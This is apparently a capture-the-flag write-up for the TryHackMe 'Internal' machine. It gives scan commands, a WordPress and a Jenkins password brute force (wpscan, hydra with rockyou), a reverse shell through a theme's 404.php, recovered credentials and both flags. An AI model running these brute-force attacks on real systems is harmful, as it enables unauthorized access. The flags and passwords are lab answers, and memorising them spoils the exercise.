report.md

[THM] Internal

---

Client Details:-

• Machine: Internal

• Url: http://internal.thm

• IP Address: 10.10.169.15

• Scope of work:

  • find user.txt (gain sys shell) & root.txt (privesc)
  • report any/all vulnerabilities found doing so

---

Penetration Test:-

find step-by-step pentest notes here

Reconnaissance & Scanning:

• Nmap scan [results]

  • cmd: nmap -sC -sV -A -o nmap.log internal.thm

• Gobuster scan [results]: main ip/domain

  • cmd: gobuster dir -u http://internal.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_0.log

• Gobuster scan [results]: blog site

  • cmd: gobuster dir -u http://internal.thm/blog -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_1.log

• WPScan [results]

  • cmd: wpscan --url http://internal.thm/blog/ -e vp,vt,tt,cb,dbe,u,m -o wpscan.log

Gaining Access:

• WPScan [results]: user login brute force

  • cmd: wpscan --url http://internal.thm/blog/ -P /usr/share/wordlists/rockyou.txt -o wpscan_user_bf.log

• Login found for wordpress admin:

  • username: admin
  • password: my2boys

• Got reverse shell (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php)

• Got user credentials:

  • username: aubreanna
  • password: bubb13guM!@#123

• Got user.txt flag: THM{int3rna1_fl4g_1}

• Got Jenkins logins by brute force:

  • username: admin
  • password: spongebob
  • cmd: hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost http-post-form -s 9999 "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

• Got root.txt flag: THM{d0ck3r_d3str0y3r}